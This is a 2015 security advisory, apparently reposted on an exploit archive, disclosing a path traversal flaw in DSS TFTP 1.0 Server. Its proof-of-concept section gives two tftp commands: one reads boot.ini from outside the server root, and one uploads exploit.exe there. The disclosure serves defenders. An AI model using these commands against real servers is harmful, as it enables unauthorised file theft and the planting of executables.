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DSS TFTP 1.0 Path Traversal

DSS TFTP 1.0 Path Traversal
Posted Feb 27, 2015
Authored by Vulnerability Laboratory, lucyoa | Site vulnerability-lab.com

DSS TFTP version 1.0 suffers from a path traversal vulnerability.

tags | exploit
SHA-256 | 1659f811ad0d86f14519c3c5d8b7cf5d0467eaa4dfccab458a7219f5b85406ad

DSS TFTP 1.0 Path Traversal

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Document Title:
===============
DSS TFTP 1.0 Server - Path Traversal Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1440


Release Date:
=============
2015-02-26


Vulnerability Laboratory ID (VL-ID):
====================================
1440


Common Vulnerability Scoring System:
====================================
6.2


Product & Service Introduction:
===============================
DSS TFTP 1.0 Server is a simple TFTP server that allows basic file transfers.

(Download: http://www.kndata.com/downloads/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a path traversal vulnerability in the official DSS TFTP 1.0 Server software.


Vulnerability Disclosure Timeline:
==================================
2015-02-26: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
DSS TFTP 1.0 Server is a simple TFTP server that allows user to download/upload files through the TFTP service from/to specified tftp root directory.
However, application is vulnerable to path traversal that enables attacker to download/upload files outside the tftp root directory.


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

GET file from server
tftp -i 192.168.56.101 GET .../boot.ini

PUT file outside the tftp root directory
tftp -i 192.168.56.101 PUT exploit.exe .../exploit.exe


Security Risk:
==============
The security risk of the path traversal software vulnerability is estimated as high. (CVSS 6.2)


Credits & Authors:
==================
lucyoa


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
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or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
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